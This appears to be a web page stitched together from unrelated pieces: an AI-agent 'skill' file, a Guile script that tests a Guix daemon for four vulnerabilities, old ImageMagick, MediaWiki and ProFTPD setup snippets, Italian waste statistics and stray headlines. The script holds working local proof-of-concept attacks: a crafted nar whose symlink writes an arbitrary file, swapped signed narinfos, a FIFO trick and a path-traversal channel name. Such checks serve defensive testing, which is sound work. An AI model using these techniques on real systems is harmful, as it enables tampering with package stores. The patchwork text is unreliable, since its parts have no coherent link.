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12 Luglio 2026 ore 20:24 · text-to-image

tangent auto
# Tangent
A skill is just Markdown. This file is the entry point; each subagent is
its own Markdown file, loaded on demand.

## Commands
tangent <subagent>   Read agents/<subagent>.md and follow it.
tangent auto          Run the autonomous 8-step experiment loop.

## Subagents                Agent file
tangent builder             agents/builder.md
tangent debugger            agents/debugger.md
tangent researcher          agents/researcher.md
tangent reviewer             agents/reviewer.md
tangent reporter            agents/reporter.md

## Auto Mode - the loop
0 Initialize -> 1 Analyze -> 2 Hypothesize -> 3 Submit ->
4 Monitor -> 5 Evaluate -> 6 Synthesize -> 7 Decide -> (loop)

Each step has a gate. The agent won't advance until every item on the
step's checklist passes - and it re-reads its instructions at each
gate so it doesn't drift over a long run.
clamav-unofficial-sigs.sh --upgrade
clamav-unofficial-sigs.sh --force
guix repl -- guix-substitute-and-pull-vuln-check.scm
guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon
sudo --login guix pull
sudo systemctl restart guix-daemon.service
(use-modules (git)
             (guix build utils)
             (guix derivations)
             (guix channels)
             (guix config)
             (guix gexp)
             (guix git)
             (guix narinfo)
             (guix packages)
             (guix pki)
             (guix utils)
             (guix serialization)
             (guix store)
             (guix substitutes)
             ((gnu packages base) #:hide (which))
             (gnu packages esolangs)
             (srfi srfi-1)
             (srfi srfi-26)
             (srfi srfi-31)
             (srfi srfi-34)
             (rnrs bytevectors)
             (ice-9 atomic)
             (ice-9 binary-ports)
             (ice-9 control)
             (ice-9 match)
             (ice-9 popen)
             (ice-9 rdelim)
             (ice-9 textual-ports)
             (ice-9 threads)
             (web response)
             (web request)
             (web uri)
             (web server)
             (web server http))

;; 1. restore-file

;; Craft an invalid nar, identify a substitutable path that doesn't exist (gc
;; if necessary), get its signed narinfo, start an http server, connect to
;; store, set substitute urls, ask to substitute the chosen path.  Have http
;; server serve the signed narinfo with the URLs replaced with its own.  When
;; the nar is requested, serve the invalid nar.  Once the substitution errors
;; out (hash doesn't match), check whether the chosen file now exists with the
;; specified contents.  We're vulnerable if and only if it does.

(define target-file
  "/tmp/guix-restore-file-vulnerable")

(define target-substitutable-package
  ;; pick something obscure but in the main guix channel, so it is either not
  ;; currently valid or can probably be gc'ed.  This is just to make the test
  ;; more reliable - in real exploitation, an attacker can sit around and wait
  ;; for any substitute request to be made, but here we need to provoke one in
  ;; a timely manner.
  cfunge)

(define substitute-servers
  (with-store store
    (substitute-urls store)))

;; Grafts can cause package->derivation to actually start substituting outputs
;; of the derivation being computed, which means we'd have to gc it afterward.
(%graft? #f)

(define (package->path+narinfo store package)
  (define path
    (derivation->output-path (run-with-store store (lower-object package))))

  (match (lookup-narinfos/diverse substitute-servers (list path)
                                  valid-narinfo?)
    ((info) (values path info))
    (() (values #f #f))))

(define (restore-file-vuln?)
  (define-values (target-path target-info)
    (call-with-values (lambda ()
                        (with-store store

                          (package->path+narinfo store
                                                 target-substitutable-package)))
      (lambda (path info)
        (unless info
          (error "can't find substitutable path to test 'restore-file' with\n"))
        (with-store store
          (when (valid-path? store path)
            (when (null? (delete-paths store (list path)))
              (error "can't delete substitutable path to test 'restore-file' with\n"))))
        (values path info))))

  (define new-target-info-contents
    (let* ((contents (narinfo-contents target-info))
           (signature-index (string-contains contents "Signature:"))
           (after-signature-index (string-index contents #\newline
                                                signature-index))
           (signed-contents (string-take contents (or after-signature-index
                                                      (string-length
                                                       contents)))))
      (string-append signed-contents "
URL: example.nar
Compression: none
NarSize: 0\n")))

  ;; We can't delete target-file if it's owned by root, so overwrite it with
  ;; fresh, mostly-random contents each time, and check that the contents match.
  (define test-contents
    (format #f "VULNERABLE!~%~S:~S~%" (getpid) (random 100000000)))

  (define test-nar
    (call-with-output-bytevector
     (lambda (port)
       (for-each (lambda (s)
                   (write-string s port))
                 `("nix-archive-1"
                   "(" "type" "directory"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "symlink"
                   "target" ,target-file ")" ")"
                   "entry" "(" "name" "a"
                   "node" "(" "type" "regular"
                   "contents" ,test-contents  ")" ")"
                   ")")))))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define target-uri-path
    (string-append "/" (store-path-hash-part target-path) ".narinfo"))

  (define nar-uri-path "/example.nar")

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) target-uri-path)
      (format (current-error-port)
              "Returning narinfo pointing to test nar~%")
      (values (build-response #:code 200)
              new-target-info-contents))
     ((string=? (uri-path (request-uri request)) nar-uri-path)
      (format (current-error-port) "Returning test nar~%")
      (values (build-response #:code 200)
              test-nar))
     (else
      (values bad-request ""))))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (guard (c ((store-error? c)
                     ;; XXX doesn't actually cancel until something tries
                     ;; connecting
                     (cancel-thread server-thread)
                     ;;(join-thread server-thread)
                     (and (file-exists? target-file)
                          (string=? (call-with-input-file target-file
                                      get-string-all)
                                    test-contents))))
            (build-things store (list target-path))
            ;; If the substitution actually completes without throwing then we
            ;; are most definitely vulnerable, but not just in 'restore-path'.
            (error "!!!substitution of invalid nar completed???!!!")))))))

;; 2. fetch-narinfos

;; Identify two substitutable paths P1 and P2.  Get P1 and P2's signed
;; narinfos, start an http server, connect to store, set substitute urls, ask
;; whether P1 and P2 are substitutable.  Have http server serve P2's narinfo
;; when asked for P1's, and P1's when asked for P2's.  If vulnerable, it will
;; report that both are substitutable, if not, it will report that neither
;; are.

;; We need two substitutable paths because the daemon<-->'guix substitute
;; --query' interface verifies that the info it gets back is for a path that
;; was requested, so the "replacement" path has to also be queried for
;; substitutability at the same time.

(define (fetch-narinfos-vuln?)
  (define-values (hello-path hello-info)
    (with-store store (package->path+narinfo store hello)))

  (define-values (sed-path sed-info)
    (with-store store (package->path+narinfo store sed)))

  (define bad-request
    (build-response #:code 400 #:reason-phrase "Unexpected request"))

  (define hello-uri-path
    (string-append "/" (store-path-hash-part hello-path) ".narinfo"))

  (define sed-uri-path
    (string-append "/" (store-path-hash-part sed-path) ".narinfo"))

  (define (handle request body)
    (cond
     ((not (eq? (request-method request) 'GET))
      (values bad-request ""))
     ((string=? (uri-path (request-uri request)) hello-uri-path)
      (format (current-error-port) "Returning sed when asked for hello~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents sed-info)))
     ((string=? (uri-path (request-uri request)) sed-uri-path)
      (format (current-error-port) "Returning hello when asked for sed~%")
      ;; Return the wrong result
      (values (build-response #:code 200)
              (narinfo-contents hello-info)))
     (else
      (values bad-request ""))))

  (unless (and hello-info sed-info)
    (error "can't find substitutable paths to test 'fetch-narinfos' with"))

  (call-with-port (socket PF_INET SOCK_STREAM 0)
    (lambda (sock)
      (setsockopt sock SOL_SOCKET SO_REUSEADDR 1)
      (bind sock (make-socket-address AF_INET INADDR_LOOPBACK 0))
      (listen sock 5)
      (let* ((port-number (sockaddr:port (getsockname sock)))
             (substitute-url (string-append "http://localhost:"
                                            (number->string port-number)
                                            "/"))
             (server-thread (call-with-new-thread
                             (lambda ()
                               (run-server handle http
                                           `(#:socket ,sock))))))
        (with-store store
          (set-build-options store
                             #:substitute-urls (list substitute-url))
          (let ((substitutables
                 (substitutable-paths store (list hello-path sed-path))))
            ;; XXX doesn't actually cancel until something tries connecting
            (cancel-thread server-thread)
            ;;(join-thread server-thread)
            (not (null? substitutables))))))))

;; 3. file-uris

;; Create a fifo whose name is 32 nix-base32 characters followed by
;; ".narinfo", connect to store, set substitute urls to point to containing
;; directory, spawn a thread to block trying to open fifo write-only which
;; will subsequently set a flag and close the port, then ask whether some
;; store path with that hash is substitutable.  It should fail in all cases.
;; Check whether the flag is set; if so, we're vulnerable, otherwise we're
;; not.

(define (file-uris-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (define testfifo
       (string-append directory "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.narinfo"))
     (define opened? (make-atomic-box #f))
     (define store-item
       (string-append (%store-prefix) "/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa-foo"))

     (define open-thread
       (begin
         (mknod testfifo 'fifo #o744 0)
         (call-with-new-thread
          (lambda ()
            (call-with-port (open testfifo O_WRONLY)
              (lambda (port)
                (atomic-box-set! opened? #t))))))) 

     (with-store store
       (set-build-options store
                          #:substitute-urls (list (string-append "file://" directory)))
       (guard (c ((store-error? c)
                  (cancel-thread open-thread)
                  (delete-file testfifo)
                  ;; even though the file it is trying to open no longer
                  ;; exists, the kernel doesn't give a result to open-thread
                  ;; until someone ptraces it (or maybe sends a signal or
                  ;; something).
                  ;; (join-thread open-thread)
                  (atomic-box-ref opened?)))
         (substitutable-paths store (list store-item))
         (error "not supposed to get here!\n"))))))

;; 4. cache-key

;; Create a barebones git repository that is a valid channel, create a
;; <channel> that references it using a malformed name, set XDG_CACHE_HOME to
;; a directory inside a temporary directory (so that 'cache-directory' points
;; to a subdirectory of it), call authenticate-channel, see if a file outside
;; of XDG_CACHE_HOME gets created.

;; If you don't have Internet access, edit this to point to a local repository
;; containing at least commit 5a2d9baeda971df575c017669bca8eb8faa22ebd and its
;; ancestors, and the keyring branch.
(define guix-science-url
  "https://codeberg.org/guix-science/guix-science.git")

(define (create-test-channel directory channel-name)
  "Populate REPOSITORY with the necessary contents for it to be a valid
channel with 2 commits, then return three values: a <channel> for it with name
CHANNEL-NAME and an introduction to the first commit, the first commit, and
the second commit."
  (define intro-commit
    "b1fe5aaff3ab48e798a4cce02f0212bc91f423dc")

  (define end-commit ;; The commit following intro-commit
    "5a2d9baeda971df575c017669bca8eb8faa22ebd")

  (define fingerprint
    "CA4F 8CF4 37D7 478F DA05  5FD4 4213 7701 1A37 8446")

  (define git %git) ;; From (guix config), guix has a hard dependency on git

  (with-directory-excursion directory
    (invoke git "init"
            ;; Silence warning
            "--initial-branch=main")
    (invoke git "remote" "add" "--" "origin" guix-science-url)
    (invoke git "fetch" "--" "origin" end-commit)
    (invoke git "checkout" "FETCH_HEAD")
    (invoke git "fetch" "--" "origin" "refs/heads/keyring:keyring")
    (values
     (channel
       (name channel-name)
       (url (canonicalize-path directory))
       (introduction (make-channel-introduction
                      intro-commit
                      (openpgp-fingerprint fingerprint))))
     intro-commit
     end-commit)))

(define (cache-key-vuln?)
  (call-with-temporary-directory
   (lambda (directory)
     (let ((home (string-append directory "/home"))
           (channel-repo (string-append directory "/channel-repo"))
           (testfile (string-append directory "/testfile")))
       (mkdir home)
       (mkdir channel-repo)
       (with-environment-variables `(("HOME" ,home)
                                     ("XDG_CACHE_HOME" ,(string-append home
                                                                       "/.cache")))
         (call-with-values
             (lambda ()
               (create-test-channel channel-repo
                                    (string->symbol "../../../../../testfile")))
           (lambda (channel first-commit last-commit)
             (authenticate-channel channel channel-repo last-commit
                                   #:keyring-reference-prefix "")))
         (file-exists? testfile))))))

;; Results

(define vulnerabilities
  (list (list "restore-file" restore-file-vuln?)
        (list "fetch-narinfos" fetch-narinfos-vuln?)
        (list "file-uris" file-uris-vuln?)
        (list "cache-key" cache-key-vuln?)))

(define (call-with-errors-to-string proc)
  (define tag (make-prompt-tag))
  (call-with-prompt tag
    (lambda ()
      (with-throw-handler #t
        proc
        (rec (self key . args)
             (let* ((stack (make-stack #t
                                       1 ;self ;; Causes make-stack to return #f??
                                       tag
                                       ))
                    (frames (stack-length stack))
                    (frame (stack-ref stack 0)))
               (define error-string
                 (match args
                   (((or (? string? proc) (? symbol? proc))
                     (? string? message) (args ...) . rest)
                    (call-with-output-string
                      (lambda (port)
                        (display-error frame port proc message args
                                       rest))))
                   (args
                    (call-with-output-string
                      (lambda (port)
                        (print-exception port frame key args))))))

               (display-backtrace stack (current-error-port))
               (display error-string (current-error-port))
               (abort-to-prompt tag (string-append "error: "
                                                   (string-trim-both
                                                    error-string)))))))
    (lambda (_ . args)
      (apply values args))))

(define results
  (map (match-lambda
         ((name proc)
          (list name (if (string? proc)
                         proc ;; pass message through
                         (call-with-errors-to-string proc)))))
       vulnerabilities))

(for-each (match-lambda
            ((name vulnerable?)
             (format #t "~a: ~a~%"
                     name
                     (if (boolean? vulnerable?)
                         (if vulnerable? "vulnerable" "not vulnerable")
                         vulnerable?))))
          results)

(exit (if (any second results) 1 0))
ln -s /usr/include/python3.*/cpython/longintrepr.h .venv/include
wget http://www.imagemagick.org/download/ImageMagick-6.7.6-5.tar.bz2
tar xvfj ImageMagick-6.7.6-5.tar.bz2
cd ImageMagick-6.7.6-5
chown -R root:root .

./configure \
        --without-x \
        --with-png \
        --with-freetype \
	--with-dps \
	--with-gslib
make
make install
ldconfig 
/usr/local/bin/convert logo: logo.gif
wget http://caml.inria.fr/pub/distrib/ocaml-3.12/ocaml-3.12.0.tar.bz2
tar xjf ocaml-3.12.0.tar.bz2
cd ocaml-3.12.0
chown -R root:root .
./configure
make
make install

PATH=$PATH:/usr/share/texmf/bin/
export PATH

./configure LDFLAGS='-L/usr/share/texmf/lib/' CPPFLAGS='-I/usr/share/texmf/include/'
make
make install

cd /usr/share/texmf
wget ftp://ftp.ams.org/pub/tex/amslatex.zip
wget ftp://ftp.ams.org/pub/tex/amsrefs/amsrefs.zip
unzip amslatex.zip
unzip amsrefs.zip

$wgUseTeX = true;
cd /path/to/htdocs/mediawiki/math

let cmd_dvips tmpprefix = "/usr/share/texmf/bin/dvips -q -R -E " ^ tmpprefix ^ ".dvi -f >" ^ tmpprefix ^ ".ps"
let cmd_latex tmpprefix = "/usr/share/texmf/bin/latex " ^ tmpprefix ^ ".tex >/dev/null"
(* Putting -transparent white in converts arguments will sort-of give you transperancy *)
let cmd_convert tmpprefix finalpath = "/usr/local/bin/convert -quality 100 -density 120 " ^ tmpprefix ^ ".ps " ^ finalpath ^ " >/dev/null 2>/tmp/wiki_convert_error"
(* Putting -bg Transparent in dvipng's arguments will give full-alpha transparency *)
(* Note that IE have problems with such PNGs and need an additional javascript snippet *)
(* Putting -bg transparent in dvipng's arguments will give binary transparency *)
let cmd_dvipng tmpprefix finalpath backcolor = "/usr/local/bin/dvipng -bg \'" ^ backcolor ^ "\' -gamma 1.5 -D 120 -T tight --strict " ^ tmpprefix ^ ".dvi -o " ^ finalpath ^ " >/dev/null 2>/tmp/wiki_dvipng_error"

make

0

# ls -lH `which gs` `which latex` `which dvips` `which convert`
-rwxr-xr-x 1 root root 5977916 2008-12-05 23:36 /usr/bin/gs*
-rwxr-xr-x 1 root root   23410 2010-11-21 15:22 /usr/local/bin/convert*
-rwxr-xr-x 1 root root  209308 2007-06-28 04:51 /usr/share/texmf/bin/dvips*
-rwxr-xr-x 1 root root 1010984 2007-06-28 04:51 /usr/share/texmf/bin/latex*

$wgDebugLogFile = "/tmp/wiki.log";

TeX: ./math/texvc '/path/to/htdocs/mediawiki/images/tmp' '/path/to/htdocs/mediawiki/images/tmp' '0' 'UTF-8' 'transparent'
TeX output:
 Ccfcd208495d565ef66e7dff9f98764da0 0
---
cd math
sudo -u apache ./texvc '../images/tmp' '../images/tmp' '0' 'UTF-8' 'transparent'
./configure \
        --prefix=/usr/local \
        --without-pam --disable-auth-pam \
        --enable-openssl \
        --with-modules=mod_ratio:mod_readme:mod_sftp:mod_tls

# common stuff goes here
Include /usr/local/etc/proftpd/proftpd.conf

<IfModule mod_tls.c>
 TLSEngine on
 PassivePorts 49152 65535
 #MasqueradeAddress 012.345.678.901 # se il server e' dietro un firewall
 TLSLog /var/log/proftpd/tls.log
 TLSProtocol SSLv23
 # Require protection on the control channel, but reject protection of the data channel
 TLSRequired ctrl+!data
 TLSRSACertificateFile /usr/local/etc/ssl/certs/proftpd.pem
 TLSRSACertificateKeyFile /usr/local/etc/ssl/certs/proftpd.pem
 TLSVerifyClient off
 TLSRenegotiate none
</IfModule>

# common stuff
Include /usr/local/etc/proftpd/proftpd.conf

<IfModule mod_sftp.c>
 SFTPEngine on
 SFTPLog /var/log/proftpd/sftp.log
 Port 22
 SFTPHostKey /etc/ssh/ssh_host_rsa_key
 SFTPHostKey /etc/ssh/ssh_host_dsa_key
 SFTPCompression delayed
 MaxLoginAttempts 6
</IfModule>

/usr/local/sbin/proftpd -c /usr/local/etc/proftpd/ftpes.conf # se si vuole ftpes
/usr/local/sbin/proftpd -c /usr/local/etc/proftpd/sftp.conf  # se si preferisce sftp

ServerType standalone
UseReverseDNS off
DeferWelcome off

Port 21
Umask 022
MaxInstances 30

User ftp
Group ftp

SystemLog /var/log/proftpd/proftpd.log
TransferLog /var/log/proftpd/xferlog

<Global>

 <Directory /*>
 AllowOverwrite on
 </Directory>

</Global>

<VirtualHost 123.456.789.123>

 ServerName "ProFTPD"
 DefaultRoot ~/www
 DefaultServer on

</VirtualHost>

#!/bin/sh
#
# /etc/rc.d/rc.proftpd
#

start() {
        /usr/local/sbin/proftpd -c /usr/local/etc/proftpd/ftpes.conf
#-n -d 20 for backup
#        /usr/local/sbin/proftpd -c /usr/local/etc/proftpd/sftp.conf
        echo "Server started."
}

stop() {
        /bin/killall proftpd
        echo "Server stopped."
}

restart() {
        stop
sleep 3
        start
#/bin/killall -HUP proftpd
        echo "Server restarted."
}

case "$1" in
'start')
  start
  ;;
'stop')
  stop
  ;;
'restart')
  restart
  ;;
*)
  echo "usage $0 start|stop|restart"
esac

c54688d
44bad58
ucspi-tcp6
80f2133
FEQLIBS_VER=31
cd /usr/local
wget https://www.fehcom.de/ipnet/fehQlibs/fehQlibs-${FEQLIBS_VER}.tgz
tar xzf fehQlibs-${FEQLIBS_VER}.tgz 
chown -R root:root fehQlibs-${FEQLIBS_VER}
cd fehQlibs-${FEQLIBS_VER}
LIBDIR=/usr/local/lib 
HDRDIR=/usr/local/include 
make -C src
make -C src shared
make -C src install 

cd ..
rm qlibs
ln -s fehQlibs-${FEQLIBS_VER} qlibs
echo "/usr/local/qlibs" >> /etc/ld.so.conf
ldconfig
ldconfig -m /usr/local/qlibs
export LD_LIBRARY_PATH=/usr/local/qlibs${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}

Step	What the agent changed	R@90% prec.	R@95% prec.	R@97% prec.
Previous pipeline	Prior distillation training, standard features & data	67.3%	54.4%	33.6%
+ Standardized pipeline	Migrated onto a reproducible trainer (on par; enables fast iteration)	69.5%	51.9%	35.2%
+ Richer product features	Added structured metadata, taxonomy, text descriptions, and predicted attributes (biggest single lift)	71.3%	58.7%	48.5%
+ More & harder training data	Added search-derived, sampled, and hard-negative pairs	75.6%	60.2%	43.9%

RIFIUTI URBANI TRATTATI	Aprile 2026	TOTALE ANNO 2026
Carta e cartoni	725,55	2.999,70
Imballaggi in vetro	438,54	1.650,97
Multimateriale Leggero	669,81	2.620,38
Legno e ingombranti	478,01	1.940,22
Frazione organica e compostabili	1.388,92	5.559,82
RAEE	62,21	238,62
Altre RD	195,10	791,76
Macerie	98,95	370,49
Rifiuto indifferenziato	2.593,58	10.087,94
Totale tonnellate	6.650,67	26.259,90
Efficienza % raccolta differenziata	61,00%	61,58%
Variaz. efficienza % RD su anno 2025	-0,49%	-0,87%

RIFIUTI URBANI TRATTATI	Marzo 2026	TOTALE ANNO 2026
Carta e cartoni	746,30	2.274,15
Imballaggi in vetro	416,77	1.223,03
Multimateriale Leggero	696,24	1.950,57
Legno e ingombranti	507,91	1.331,09
Frazione organica e compostabili	1.483,17	4.168,26
RAEE	59,65	176,41
Altre RD	207,32	601,03
Macerie	109,62	271,54
Rifiuto indifferenziato	2.494,35	7.499,96
Totale tonnellate	6.721,32	19.496,04
Efficienza % raccolta differenziata	62,89%	61,53%
Variaz. efficienza % RD su anno 2025	+0,6%	-1,37%

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Preparations for Next Moonwalk Simulations Underway (and Underwater)

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NASA, GE Aerospace Work Enables Hybrid-Electric Flight Demonstration

NASA Pushes New Wing Design to Find Structural Limits

NASA Uses Subscale Aircraft to Accelerate Flight Innovation

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A New Chapter for Azure Linux

Built for Enterprise and Cloud Workloads

Updated Core Components

Security Remains a Primary Focus

What is Tangle?

What is Tangent?

The Tangent Skill

Tangent Agent Hosting Platform

Auth Proxy

Implementation details

Tangent Shell

A real use case

Open source and contributing

Where to find Tangle and Tangent

I limiti e i bias dei modelli commerciali

Riprogettare i sistemi

Costruire un LLM pubblico: il caso di LatamGPT

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